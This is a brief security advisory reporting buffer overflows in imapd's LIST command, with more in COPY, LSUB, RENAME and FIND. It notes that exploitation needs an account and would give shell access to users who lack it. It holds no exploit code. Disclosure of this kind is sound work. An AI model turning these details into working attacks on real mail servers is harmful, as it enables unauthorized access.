A buffer overflow exists in imapd. The vulnerability exists in the list command. By supplying a long, well-crafted string as the second argument to the list command, it becomes possible to execute code on the machine.
Executing the list command requires an account on the machine. In addition, privileges have been dropped in imapd prior to the location of the buffer overrun. As such, this vulnerability would only be useful in a scenario where a user has an account, but no shell level access. This would allow them to gain shell access.
Overflows have also been found in the COPY, LSUB, RENAME and FIND command. All of these, like the LIST command, require a login on the machine.
